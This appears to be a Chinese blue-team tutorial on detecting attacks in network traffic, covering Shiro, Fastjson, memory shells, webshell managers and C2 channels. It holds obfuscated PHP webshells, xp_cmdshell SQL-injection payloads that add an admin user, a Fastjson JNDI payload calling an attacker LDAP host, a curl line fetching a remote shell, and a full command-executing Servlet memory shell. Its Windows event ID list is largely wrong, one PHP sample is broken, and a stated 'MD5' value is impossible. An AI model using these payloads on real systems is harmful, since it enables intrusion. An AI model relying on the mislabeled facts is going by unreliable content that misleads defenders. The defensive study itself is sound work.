0x00 引言:护网行动与流量分析的重要性
在网络安全领域,流量分析是攻防对抗中的核心技术之一,尤其在“护网行动”这类国家级或企业级攻防演练中
- 如:
- 实时威胁检测:快速定位攻击行为
- 攻击链还原:从流量中拼图攻击路径
0x01 流量分析的基础知识
工具
1.Wireshark

WiFi抓包

过滤

2.科来网络分析


通过工具可以深入分析网络流量中的异常行为、发现恶意软件和攻击模式
流量分析方法
1.基于异常找异常
异常管理RDP会话、异常管理SMB会话、异常的外部数据传输、ICMP地址扫描行为…
2.基于正常找异常
大量发送到新外部设备连、发送到稀有域的数据、大量新的服务控制、不常见的大量出网数据…
3.基于对比找异常
相同域名的不同、SSL证书相同域名、连接少见IP、相同时刻的相、同攻击源相同访、问模型的出入站…
流量日志分析
收集和分析网络流量日志,以识别异常活动和安全事件
优势:上机排查,快速高效
WEB流量分析
1.大小异常:
攻击者常使用长参数来构建payload,在分析网络流量时,我们可以通过设置阈值来自动识别这些异常长度的参数(payload多次加密达到绕过EDR等安全行为检测,但是有可能会造成长度异常)
2.字符异常:
攻击流量常用非法字符来尝试绕过安全设备检测。我们可以在分析过程中对这些非法字符进行检测,并通过正则表达式识别
例: 无字母的webshell
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`'); // $_ = 'assert'
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__ = '_POST'
$___=$$__;
@$_($___[_]); // 等价于 assert($_POST[_])
?>
<?php
$__=~(/* 取反构造 "assert" */);
$__=~('àðæåá'^'ÃÄÅÃÂ'); // 通过异或和取反生成字符串
@$__($_POST['_']);
?>
<?php
$_=$_=+[]; // $_ = 0
$_=(++$_) + (++$_) + (++$_); // $_ = 3 (对应ASCII码 3 = Control-C,实际需动态生成)
// 动态构造 system('id') 类似的逻辑(此处需进一步展开)
?>
<?php
$f=base64_decode("YXNzZXJ0"); // "assert"
$f($_POST['cmd']);
?>
// 利用String.fromCharCode和数字构造函数名
const _ = 155 ^ 234; // 动态计算生成字符
eval(___=/* 通过数字生成 "require('child_process').exec" */);
3.报错异常:
攻击者可能会在HTTP请求中包含错误或缺失的参数,试图触发系统异常,从而获取敏感信息或探测漏洞。我们可以设置规则和查看返回值来识别这些异常请求
- 4xx错误(客户端错误):高频400(Bad Request)可能为参数探测。
- 5xx错误(服务端错误):高频500(Internal Error)可能为攻击触发的漏洞
# 分析Nginx日志,统计TOP 10的4xx请求
awk '$9 ~ /^4/ {print $7}' access.log | sort | uniq -c | sort -nr | head -n 10

总结:在web流量分析中,大小、长度、时间、格式、特征等是比较重要的切入点
日志跟路径
查看Linux的登录日志:
/var/log/message系统启动后的信息和错误日志,是最常用的日志之一
/var/log/secure与安全相关的日志信
/var/log/maillog与邮件相关的日志信息
/var/log/cron与定时任务相关的日志信息
/var/log/spooler与UUCP和news设备相关的日志信息
/var/log/boot.log守护进程启动和停止相关的日志消息
/var/log/wtmp该日志文件永久记录每个用户登录、注销及系统的启动信息
事件号
4624:成功登录
4625:注销
4626:远程登录
4628:本地登录
4634:账户锁定
4648:登录失败
4647:网络密码更改

0x02 流量分析的基本思路
TCP/IP协议栈基础
HTTP响应头
日期头:记录 HTTP 响应的日期和时刻。
内容头:表示服务器提供的文件类型的内容类型。
缓存头:用于帮助浏览器(或其他缓存)缓存返回的内容。
服务器头:显示服务器的类型。
其它头信息:例如设置用户可以持续请求多久等。

报文返回值:
1xx==>处理中
2xx==>成功
3xx==>重定向
4xx==>客户端问题
5xx==>服务器问题
流量关键字符
命令执行:
system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec
以及echo curl wget cd ping cat ls 等
反引号操作符 ` 与 shell_exec() 等效,执行命令并返回输出
例
$output = `ls -l`;
echo $output;
间接执行命令的方式:
1.通过文件操作函数
#场景:写入可执行文件后间接执行
file_put_contents('/tmp/evil.sh', '#!/bin/sh\nwhoami');
chmod('/tmp/evil.sh', 0755);
include('/tmp/evil.sh'); // 若文件是 PHP 脚本
2.动态函数调用
$func = 'sy' . 'stem';
$func('id'); // 等同于 system('id');
3.dl() 函数(加载扩展)
功能:动态加载 PHP 扩展(.so 或 .dll),可能执行恶意代码
防御措施:
1.在 php.ini 中禁用高危函数
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec
2.最小权限原则(安全基线加固内容)
运行 PHP 的用户(如 www-data)应限制权限,避免 root 身份运行
报文:
1.POST参数
2.请求头
3.特殊构造的payload , 如think PHP的命令执行
流量和日志的区别
流量全,误报大
日志精确,若无日志审计系统要上机排查比较麻烦(日志直接反应了混淆恶意代码的目的)
总结:通过流量抓漏洞,通过日志解决告警
0x03 流量分析流程

例:SQL注入漏洞执行系统命令的流量
1.观察流量目的
xxx.jsp?id=1 and chr(49)<>chr(32)||(select sys.LinxRunCMD(''cmd /c net user linx /add'') from dual)
/2.aspxid=1;+insert+into+r3dm0v3_sql+(tmp1)+exec+master..xp_cmdshell+'net+user+linx+/add'—
2.判断攻击指令添加高权账号
3.判断是否有RDP远程桌面登录
- Windows系统日志检查(事件查看器)-->事件ID 4624
- 查看当前远程会话用户 -->cmd--> quser 或使用 qwinsta
- 查询历史RDP连接记录-->cmd-->wevtutil qe Security /q:"*[System[(EventID=4624)]]" /rd:true /f:text
- 检查RDP服务状态 -->cmd-->netstat -ano | findstr :3389
- 查看远程用户列表-->远程设置 -->选择用户
- 捕获RDP协议流量-->使用工具(如Wireshark)过滤端口
3389的TCP流量 - RDP协议特征-->TLS握手后跟随加密数据流
- 检测异常IP连接-->在防火墙或IDS/IPS中监控对3389端口的访问



0x04 常见的漏洞流量特征
1.Shiro反序列化流量
漏洞点:rememberMe=
流程:攻击者将生成恶意Payload进行AES加密,然后Base64编码,再以rememberMe={value}形式发送给服务器。服务器接收到value后,会对其进行Base64解码,然后将解码后数据进行AES解密,最后反序列化执行命令
需要关注参数:key
我们可以通过dnslog检测key。但是由于dnslog会被安全产品检测出来, 所以 SimplePrincipalCollection公开以后,基本是使用这种方法来对shiro进行key正确性的判断,他的判断方法是从Cookie中的“rememberMe=deleteMe”数量差异进行的判断
key错误的时候:

当key正确时:

当然,也可借助日志分析设备进行数据包分析:
以shiro_attack-2.2为例暴破利用链并回显,若回显f25a2fc72690b780b2a14e140ef6a9e0,则发现利用链从流量上看, 请求包存在techo:f25a2fc72690b780b2a14e140ef6a9e0

shiro_attack-2.2工具的流量特征, 请求包头部存在c:及base64编码后的命令若命令执行成功, 响应包为$$$,$$$,命令和命令执行结果均为base64编码

shiro_attack-2.2工具中, 请求包头部存在密码p:pass1234及路径path:/favicondemo.ico POST包内为dy=开头那段,内容为编码后的恶意class

内存马响应包若存在->|Success|<-则注入成功, 实战中经常存在多个内存⻢注入日志, 可以根据此特征来判断是否注入成功

无回显Shiro流量解密流量特征
攻击成功流量:因为基本的利用方式是无回显的, 大部分攻击会先尝试dnslog来枚举key,若攻击成功安全平台会有dnslog事件

2.Fastjson攻击过程
1. 攻击者发送恶意Payload:攻击者构造一个包含恶意代码的JSON字符串作为payload。
2. 服务器解析并反序列化Payload:受害者的服务器接收到payload后,使用FastJSON库进行解析和反序列化。
3. 利用JNDI漏洞连接RMI服务:在反序列化过程中,如果FastJSON库配置不当,攻击者构造的恶意payload可能触发JNDI漏洞。
4. RMI服务器响应恶意请求:攻击者指定的RMI服务器接收到请求后,返回一个指向恶意代码的引用。
5. 服务器请求并加载恶意Class文件:受害者的服务器从RMI服务器获取到的引用加载恶意的Class文件,并尝试通过HTTP请求从攻击者的服务器获取该恶意Class文件。
6. 加载并执行恶意代码:受害者的服务器成功从攻击者的HTTP服务器获取到恶意Class文件后,将其加载进内存,并在实例化对象时执行恶意构造函数,从而执行攻击者预先植入的命令。
识别常见攻击特征
1. 检测@type字段
Fastjson反序列化漏洞利用的关键是@type属性,攻击者通过指定危险类触发漏洞
高危类名:如com.sun.rowset.JdbcRowsetImpl、java.lang.Class、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl等
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp", "autoCommit":true}
防御:在流量中匹配@type字段,并检查其值是否属于已知漏洞利用类
2.检测JNDI注入特征
攻击常伴随JNDI注入(如LDAP/RMI协议),检查JSON中是否包含ldap://、rmi://、jndi:、$%7B(URL编码的${)等字符串
3.检测编码绕过
Unicode/Hex编码:攻击者可能对关键字段(如@type)进行编码绕过:
- 例如:
\u0040\u0074\u0079\u0070\u0065(即@type的Unicode编码
防御:对请求内容进行解码后二次检测
4.嵌套层级过深
Fastjson漏洞利用链可能需要多层嵌套对象,普通业务请求通常不会出现复杂嵌套结构
5.非业务字段注入
检查JSON中是否包含与业务无关的字段,如autoCommit、outputProperties等,这些字段可能被用于触发漏洞
流量日志分析
1.请求内容检查
- Content-Type:重点关注
application/json类型的POST请求。 - Body内容:提取JSON数据,检查是否包含
@type及高危类名。
2.异常响应特征
- 错误信息:若服务端返回
autoType is not support或parse error,可能是攻击尝试触发的异常。 - 延迟响应:某些漏洞利用会触发DNS查询或远程资源加载,导致响应时间异常。
使用工具辅助检测
WAF/IDS规则
例:IDS的Suricata
alert http any any -> any any (msg:"Fastjson Attack: JNDI Payload"; content:"ldap://"; http_client_body; content:"@type"; nocase; metadata:service http;)
日志分析工具
通过日志分析平台编写查询语句,筛选可疑请求
# 示例Kibana查询(筛选包含@type和ldap的请求)
http.request.body.content:"@type" AND http.request.body.content:"ldap://"
动态沙箱检测
放入微博,360的云沙箱进行分析
修复建议
- 升级Fastjson:使用≥1.2.83版本并启用
safeMode(彻底关闭autoType)。 - 输入过滤:对
@type字段进行白名单控制,仅允许业务需要的类
总结
通过特征匹配(@type+高危类名)、协议检测(JNDI/LDAP)、结构异常分析(嵌套/编码)结合工具(WAF/日志分析),可有效识别Fastjson攻击流量。同时,修复漏洞和启用安全模式是根本防御措施
3.注入内存马流量
内存马特征
内存马常通过漏洞(如反序列化、RCE)注入到Web容器进程中,并伪装成合法组件
| 类型 | 注入目标 | 特征 |
|---|---|---|
| Servlet型 | Web容器的Servlet列表 | 新增未授权的Servlet,映射路径异常(如/evil),处理恶意请求。 |
| Filter型 | Web容器的过滤器链(FilterChain) | 新增恶意Filter,优先级最高,拦截所有请求并执行恶意代码。 |
| Interceptor型 | 框架拦截器(如Spring MVC) | 注入自定义拦截器,在请求前后执行恶意操作。 |
| Listener型 | 事件监听器(如ServletRequestListener) | 监听请求事件,触发恶意逻辑(如反弹Shell)。 |
| Agent型 | JVM Agent | 通过javaagent机制注入,劫持类加载过程(如利用Instrumentation API修改字节码)。 |
内存马行为特征
1.进程与线程异常
内存中存在危险类实例(如Proxy、TemplatesImpl)。
可疑线程:
可疑线程:
进程内存在执行系统命令的线程(如Runtime.getRuntime().exec("cmd"))。
线程名称为随机字符串或与业务无关(如Thread-1234)。
类加载异常:
动态加载未知类(如通过ClassLoader.defineClass()加载Exploit.class)。
内存中存在危险类实例(如Proxy、TemplatesImpl)。
2.网络活动异常
- 心跳连接:
- 定期向外部C2服务器发送心跳包(如HTTP请求
GET /heartbeat)。 - 使用非常见协议(如DNS隧道、ICMP)外传数据。
- 定期向外部C2服务器发送心跳包(如HTTP请求
- 反向连接:
- 进程主动连接外部IP的非业务端口(如
curl http://1.1.1.1:8080/shell)。 - 流量中携带加密或Base64编码的敏感数据(如
ls /tmp执行结果)。
- 进程主动连接外部IP的非业务端口(如
3.应用行为异常
- 新增URL路由:
- 出现未授权的访问路径(如
/cmd、/shell),返回异常响应(如执行whoami的结果)。
- 出现未授权的访问路径(如
- Filter/Servlet注册:
- Web容器中动态注册未知Filter或Servlet(可通过
/proc/self/maps或管理接口查看)。
- Web容器中动态注册未知Filter或Servlet(可通过
- 响应时间异常:
- 特定请求触发长时间等待(如内存马等待C2指令时挂起线程)。
3.检测方法与工具
1.内存分析
- Dump内存:
使用jmap导出Java进程内存,通过MAT、VisualVM分析可疑对象: - jmap -dump:format=b,file=heap.hprof <PID>
- 搜索危险类:
在内存中搜索关键词(如Filter、Servlet、JdbcRowSetImpl): - strings heap.hprof | grep -iE "Exploit|JdbcRowSetImpl|TemplatesImpl"
2. 动态检测
- 列出Web组件:
通过JSP脚本列出当前所有Servlet/Filter(适用于Tomcat): - <%@ page import="java.util.*,javax.servlet.*" %> <% ServletContext ctx = request.getServletContext(); Map<String, ? extends ServletRegistration> servlets = ctx.getServletRegistrations(); out.println("Servlets: " + servlets.keySet()); FilterRegistration filterRegs = ctx.getFilterRegistration("/*"); out.println("Filters: " + filterRegs); %>
- 监控类加载:
启用Java安全审计日志,记录类加载事件: - -Djava.security.debug=access,stack
3. 网络流量监控
- 检测C2通信:
使用Wireshark或tcpdump抓包,筛选异常连接: - tcpdump -i eth0 'dst host 1.1.1.1 and port 80' -w traffic.pcap
- 分析HTTP请求:
检查请求路径、参数是否包含恶意指令(如cmd=whoami)。
4. RASP防护
- 运行时拦截:
使用RASP(如OpenRASP)监控危险行为:- 拦截
ClassLoader.defineClass调用。 - 阻断未授权的Filter/Servlet注册。
- 拦截
5.日志与痕迹分析
- 应用日志:
- 检查异常错误日志(如
ClassNotFoundException、NoSuchMethodError)。 - 监控动态类加载日志(如
Loaded evil.Exploit from URL)。
- 检查异常错误日志(如
- 系统日志:
- 审计进程启动参数(如异常
-javaagent:malicious.jar)。 - 监控进程网络连接(如
netstat -antp | grep java)。
- 审计进程启动参数(如异常
4.清除与防御建议
- 终止恶意进程:
Kill内存马所在Java进程(需重启服务)。 - 漏洞修复:
修补注入内存马的漏洞(如Fastjson、Shiro反序列化漏洞)。 - 启用安全机制:
- 限制JVM加载外部Agent(
-XX:+DisableAttachMechanism)。 - 使用SecurityManager限制敏感操作。
- 限制JVM加载外部Agent(
- 定期扫描:
使用内存马检测工具(如Alibaba Arthas、MemShellScanner)。
例:
Servlet型内存马
攻击原理:通过动态注册一个恶意Servlet到Web容器(如Tomcat、Jetty),劫持特定URL路径的请求,执行任意命令
// 反射获取ServletContext对象
ServletContext servletContext = request.getSession().getServletContext();
// 定义恶意Servlet类
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
// 将命令结果写入响应
InputStream input = process.getInputStream();
resp.getWriter().write(new Scanner(input).useDelimiter("\\A").next());
} catch (Exception e) { /* 异常处理 */ }
}
}
// 动态注册Servlet
ServletRegistration.Dynamic registration = servletContext.addServlet("EvilServlet", new EvilServlet());
registration.addMapping("/evil"); // 映射路径为`/evil`
检测:查看已注册Servlet列表
Filter型内存马特征
// 恶意Filter注入代码
Filter filter = new MaliciousFilter();
FilterRegistration.Dynamic registration = servletContext.addFilter("evilFilter", filter);
registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
检查:通过Tomcat管理接口或内存分析,确认是否存在名为evilFilter的Filter
核心防御思路:阻断攻击链(漏洞修复) + 运行时行为监控(RASP)
先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马
各种webshell的管理工具流量特征
1.冰蝎
冰蝎是一个动态二进制加密网站管理客户端,基于Java编写。在实战中,第一代webshell管理工具菜刀(几乎看不到了)的流量特征非常明显,很容易就被安全设备检测到。基于流量 加密的webshell变得越来越多,冰蝎在此应运而生了
1. Content-Type
冰蝎流量中的强特征:Content-Type: application/octet-stream
2. User-Agent
特征列表:冰蝎默认使用的UA头包含了固定的字符串,可以正则匹配
默认使用User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36,部分版本可能随机化
3. Accept
冰蝎通常使用的Accept头主要是以下格式:Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
4. Cache-Control
冰蝎会设置一些Cache-Control头以避免缓存,常见的设置如下:Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5.Connection
通过Connection: Keep-Alive维持长连接,减少频繁握手带来的异常日志
6.AES加密载荷
冰蝎默认使用AES加密请求体,密钥为e45e329feb5d925b
7.无明文参数
与传统WebShell(如?cmd=whoami)不同,冰蝎请求中不携带可读参数
8.URI路径特征
- 固定路径访问:
部分版本会频繁访问同一URI路径(如/admin.jsp、/upload.php),与正常业务路径不符。 - 无Referer头:
多数请求缺失Referer头,或Referer与业务域名无关。
9.响应特征
- HTTP状态码异常:
成功执行命令时返回200 OK,但响应体为加密数据(无HTML标签)。 - Content-Type异常:
返回Content-Type: text/html,但实际内容为二进制或Base64密文。
冰蝎流量检测方法
1. 静态特征检测
- 密钥硬编码检测:
匹配请求体中是否包含默认AES密钥的MD5或SHA1哈希(如e45e329feb5d925b的MD5为2f4d6b294e5d6a7c)。 - 固定字符集:
检测Base64密文中是否包含冰蝎特定标识(如==结尾、特定字符分布)。
2. 动态行为检测
- 心跳包特征:
冰蝎会定期发送心跳包(间隔约30秒),Body长度固定(如16字节加密数据)。 - 命令执行特征:
执行系统命令时,会产生Runtime.getRuntime().exec()的进程树(需结合EDR监控)。 - 加密流量熵值:
加密数据的熵值较高,可通过统计模型识别随机性(如Shannon熵检测)。
3. 流量解密与还原
- 已知密钥解密:
若获取默认密钥,可使用以下方式解密(Python示例): - 解密后的明文包含Java反射代码(如
java.lang.Runtime)或冰蝎指令(如pass=xxx&func=exec)
from Crypto.Cipher import AES
import base64
def decrypt(data, key):
cipher = AES.new(key.encode(), AES.MODE_CBC, iv=key.encode())
decrypted = cipher.decrypt(base64.b64decode(data))
return decrypted.decode(errors='ignore')
encrypted_data = "kGlmGq1s..." # 从HTTP Body提取
print(decrypt(encrypted_data, "e45e329feb5d925b"))
2.哥斯拉
哥斯拉以高度隐蔽性和强加密著称,支持动态密钥交换和多种协议伪装。
1. 核心特征
- 全流量加密:
- 加密方式:默认使用
AES-GCM或RC4加密,密钥通过首次请求动态协商(非固定密钥)。 - 加密范围:包括请求头、请求体、响应体全流量加密,仅保留HTTP协议基础字段(如
Content-Length)。 - Base64编码:加密后的数据以Base64形式传输,Body长度通常为
16*n字节。
- 加密方式:默认使用
- 动态密钥交换:
- 首次请求:发送一个
GET请求,携带随机字符串(用于生成密钥),响应中返回加密后的密钥种子。 - 密钥生成:通过DH算法或自定义算法生成会话密钥,后续通信使用该密钥加密。
- 首次请求:发送一个
- 协议伪装:
- 随机化HTTP头:每次请求的
User-Agent、Accept、Referer随机生成,模拟浏览器行为。 - 伪造缓存头:添加
Cache-Control: no-cache、Pragma: no-cache等字段,避免代理缓存。 - 分块传输:使用
Transfer-Encoding: chunked分割加密数据,绕过固定长度检测。
- 随机化HTTP头:每次请求的
- 心跳机制:
- 心跳包:间隔时间动态变化(如10~60秒),Body为加密后的固定指令(如
{"action":"ping"})。 - 低交互特征:心跳包响应内容简短(如
200 OK+ 空Body)。
- 心跳包:间隔时间动态变化(如10~60秒),Body为加密后的固定指令(如
检测方法
- 密钥协商识别:
检测首次GET请求与响应中的密钥交换行为(如URL路径固定为/api/init)。 - 熵值分析:
加密数据熵值显著高于普通HTTP文本流量。 - 分块传输检测:
频繁使用Transfer-Encoding: chunked且分块长度符合加密块特征(如16/32字节)。 - 动态密钥解密:
若捕获到密钥交换过程,可还原会话密钥解密流量(需逆向加密算法)。
3.中国蚁剑(AntSword)流量特征
核心特征
- 弱加密或明文传输:
- 默认模式:参数通过Base64编码,但未加密(如
cmd=whoami编码为Y21kPXdob2FtaQ==)。 - 插件加密:部分插件支持AES加密,但密钥硬编码或简单生成(如
ant)。
- 默认模式:参数通过Base64编码,但未加密(如
- 固定URL参数:
- 参数名固定:如
_=ant、cmd、func等。 - 路径特征:常访问敏感路径(如
/admin.jsp、/upload.php)。
- 参数名固定:如
- HTTP头特征:
- User-Agent:默认使用
AntSword/vX.X(部分版本可自定义,但低版本可能暴露)。 - Cookie注入:在Cookie中携带Payload(如
Cookie: PHPSESSID=...; ant=...)。
- User-Agent:默认使用
- 响应特征:
- 明文回显:命令执行结果以明文或Base64编码返回,响应体包含
<pre>标签或直接输出结果。 - 错误信息:若加密插件配置错误,可能返回
Decrypt Error等明文提示。
- 明文回显:命令执行结果以明文或Base64编码返回,响应体包含
检测方法
- 参数名匹配:
检测URL或Body中是否包含_=ant、cmd=、func=等固定参数。 - Base64特征:
参数值符合Base64编码特征(如长度为4的倍数,包含+/=字符)。 - User-Agent拦截:
匹配User-Agent中的AntSword关键词。 - 响应内容分析:
检测响应中是否包含<pre>标签或系统命令结果(如root)
4.菜刀流量核心特征
固定参数名:
请求中通常包含以下参数(参数值经Base64编码):
a1:操作类型(如文件管理、命令执行)。a2:操作指令(如whoami、ls /tmp)。a3:附加参数(如文件路径)。
Base64编码:
参数值经过Base64编码,但未加密,解码后可还原明文指令
- User-Agent固定:
默认使用User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1),部分版本可能随机化。
明文响应:
命令执行结果直接以明文返回,或通过Base64编码后嵌入HTML标签(如<pre>):
HTTP状态码异常:
无论操作成功与否,通常返回200 OK,但响应体内容与业务逻辑无关
行为特征
- 高频访问敏感路径:
频繁访问Webshell文件(如/shell.php、/admin.aspx),路径与正常业务无关。 - 无Referer或Cookie:
多数请求缺失Referer头或携带简单Cookie(如admin=1)。
对比表
| 特征 | 中国菜刀 | 中国蚁剑 | 冰蝎 | 哥斯拉 |
|---|---|---|---|---|
| 加密强度 | ❌ 无加密,仅Base64编码 | ⚠️ 弱加密(部分插件支持简单AES) | ✅ AES-CBC(默认密钥) | ✅ AES-GCM/RC4(动态密钥交换) |
| 流量隐蔽性 | ❌ 低(特征明显) | ⚠️ 中低(参数固定,部分可伪装) | ✅ 中高(全加密,但存在心跳包特征) | ✅ 高(全流量加密+动态伪装) |
| 协议伪装 | ❌ 无伪装,固定参数名 | ⚠️ 部分随机化(User-Agent/路径) | ✅ 长连接+固定心跳 | ✅ 高度随机化(HTTP头、分块传输) |
| 密钥管理 | ❌ 无 | ⚠️ 固定密钥(如ant)或明文 | ⚠️ 默认密钥硬编码(可自定义) | ✅ 动态协商(DH算法或自定义) |
| 典型参数 | a1、a2、a3(Base64) | _=ant、cmd、func(Base64) | 无固定参数(全加密Body) | 无固定参数(全加密Body) |
| 响应特征 | 明文或Base64回显(含<pre>标签) | 明文或简单加密(含<pre>标签) | 加密响应(需解密) | 全加密响应(需动态密钥解密) |
| 心跳机制 | ❌ 无 | ❌ 无 | ✅ 固定间隔(约30秒) | ✅ 动态间隔(10~60秒) |
| 检测难度 | ⭐ 低(规则易匹配) | ⭐⭐ 中低(特征可识别) | ⭐⭐⭐ 中高(需解密或熵分析) | ⭐⭐⭐⭐ 高(需动态密钥分析) |
通用检测方法
- 静态特征匹配:
- 拦截固定参数(
a1、_=ant)、User-Agent(AntSword)或密钥硬编码特征。 - 分析Base64编码内容的可读性(菜刀/蚁剑易解码出明文指令)。
- 拦截固定参数(
- 动态行为分析:
- 检测高频敏感路径访问(如
/admin.jsp)。 - 监控固定心跳间隔(冰蝎)或动态心跳(哥斯拉)。
- 检测高频敏感路径访问(如
- 加密流量识别:
- 熵值检测:加密数据熵值显著高于正常文本(冰蝎/哥斯拉)。
- 密钥交换行为:哥斯拉首次请求的密钥协商需重点关注。
- 响应内容解密:
- 对已知密钥流量(冰蝎)解密,检查是否含危险类名(如
Runtime.exec)。
- 对已知密钥流量(冰蝎)解密,检查是否含危险类名(如
防御建议
- 基础防护:
- 修复漏洞(如Struts2、Shiro反序列化),阻断Webshell注入途径。
- 限制敏感路径访问(如
/admin/*),禁用不必要的动态组件注册。
- 流量层防御:
- 部署WAF:拦截固定参数、异常User-Agent及高危路径。
- 解密HTTPS流量:检测加密内容中的恶意载荷。
- 行为监控:
- 使用RASP:阻断危险操作(如
ProcessBuilder调用)。 - EDR联动:监控进程树异常(如
cmd.exe由Java进程启动)。
- 使用RASP:阻断危险操作(如
- 主动防御:
- 定期扫描Web目录:使用工具(如D盾、ClamAV)检测Webshell文件。
- 模拟攻击验证:利用DNSLog或无害Payload测试防御规则有效性。
5.C2通信核心特征
1. 通信协议特征
- 非常用协议伪装:
- 使用HTTP/HTTPS(80/443端口)等常见协议,但路径或参数异常(如
/api/v1/feed)。 - 利用DNS、ICMP、WebSocket等协议进行隐蔽通信(如DNS隧道传输数据)。
- 使用HTTP/HTTPS(80/443端口)等常见协议,但路径或参数异常(如
- 协议滥用:
- DNS C2:通过TXT或CNAME记录传递指令(如
dig @malicious-dns.com evilcmd.example.com TXT)。 - ICMP C2:利用ICMP Echo请求(Ping)载荷携带加密数据(需自定义Payload)。
- DNS C2:通过TXT或CNAME记录传递指令(如
2. 通信行为特征
- 心跳机制(Beaconing):
- 定期发送心跳包(如每5分钟一次)到C2服务器,维持长连接并等待指令。
- 固定时间间隔:传统C2心跳间隔固定(易被检测)。
- 抖动(Jitter):高级C2引入随机延迟(如±30%间隔),规避时序分析。
- 指令下发与数据回传:
- 短连接高频率:执行命令时突发大量短连接(如HTTP POST上传数据)。
- 低交互模式:正常心跳包响应简短(如
200 OK空Body),执行阶段流量突增。
3. 数据特征
- 加密与编码:
- 使用AES、RC4或XOR加密通信内容,避免明文暴露指令。
- 数据经过Base64、Hex或自定义编码(如
0xdeadbeef分段)。
- 协议混淆:
- 伪装成合法API请求(如模拟云服务JSON格式)
- 使用域前置(Domain Fronting)隐藏真实C2域名(如伪装为
*.cloudfront.net)
4. 网络基础设施特征
- 域名生成算法(DGA):
- 动态生成随机域名(如
xdqwrwersdf.com),避免IP/域名被封禁。 - 每日解析不同域名,通过DNS预解析获取C2 IP。
- 动态生成随机域名(如
- Fast-flux网络:
- C2域名绑定大量快速更换的IP地址(通常来自僵尸网络),增加追踪难度。
- Tor或I2P网络:
- C2服务器隐藏在暗网(
.onion域名),流量经过多层加密路由。
- C2服务器隐藏在暗网(
C2流量检测方法
1. 网络层检测
- 异常域名分析:
- 检测DGA域名(高熵值、无WHOIS信息、短生命周期)。
- 使用威胁情报平台(VirusTotal、AlienVault OTX)匹配已知C2域名/IP。
- 协议特征匹配:
- HTTP C2:
- 请求路径非常规(如
/submit.php?id=0x7b)。 - User-Agent异常(如
CobaltStrike默认UA)。
- 请求路径非常规(如
- DNS C2:
- 高频请求TXT或NULL记录(如
dig TXT evil.com)。 - 子域名长度异常(如
32r8w9efjw.example.com)。
- 高频请求TXT或NULL记录(如
- HTTP C2:
2. 流量行为分析
- 时序模式识别:
- 统计心跳间隔的方差,低方差可能为传统C2,高方差可能为抖动算法。
- 使用机器学习模型(如K-means聚类)识别周期性流量。
- 流量熵值检测:
- 加密或编码数据的熵值显著高于普通文本(可用
Shannon熵或Chi-square检验)。
- 加密或编码数据的熵值显著高于普通文本(可用
- 数据包大小分布:
- 心跳包大小固定(如512字节),而数据回传包大小波动较大。
3. 主机层检测
- 进程行为监控:
- 检测未知进程与外部IP的长期连接(如
netstat -ano找可疑ESTABLISHED连接)。 - 监控敏感操作(如
powershell.exe下载远程脚本)。
- 检测未知进程与外部IP的长期连接(如
- 注册表/文件痕迹:
- C2客户端可能持久化在启动项(如注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
- C2客户端可能持久化在启动项(如注册表
C2分类及示例
| C2类型 | 通信方式 | 示例工具/家族 | 检测要点 |
|---|---|---|---|
| 传统C2 | HTTP/HTTPS明文或简单加密 | Metasploit、Cobalt Strike | 固定心跳间隔、UA特征、证书异常 |
| DNS C2 | DNS查询传递指令 | DNSMessenger、OilRig | 高频TXT/NULL记录请求、长域名子串 |
| 云服务C2 | 滥用AWS/Slack/Discord API | APT29(利用Slack API) | 合法服务中的异常API调用(如非常规Token) |
| 隐蔽通道C2 | ICMP/SSH隧道、WiFi信号 | PingBack、POSLocker | ICMP载荷非空、SSH非交互式会话 |
| P2P C2 | 去中心化节点通信(BitTorrent协议) | Emotet、TrickBot | 节点间加密通信、DHT协议滥用 |
防御与缓解措施
- 网络层防御:
- 部署IDS/IPS:使用Suricata/Snort规则拦截已知C2特征(如Cobalt Strike默认证书)。
- 限制出站流量:仅允许业务需要的协议和端口,阻断非常用协议(如ICMP出站)。
- 终端防护:
- EDR解决方案:监控进程链(如
svchost.exe启动powershell.exe)。 - 应用白名单:禁止未签名的二进制文件执行。
- EDR解决方案:监控进程链(如
- 日志分析:
- 收集DNS/HTTP日志,使用SIEM(如Splunk)关联异常事件。
- 配置NetFlow分析,识别低频但持久的数据外传。
- 威胁情报整合:
- 订阅STIX/TAXII格式的威胁情报,自动更新阻断列表。
总结
C2流量检测需结合协议特征、行为模式和数据特征,对抗高级C2需引入威胁情报与机器学习。防御应覆盖网络、主机、日志三层,并持续跟踪攻击技术演进(如AI生成的DGA域名)
Comments NOTHING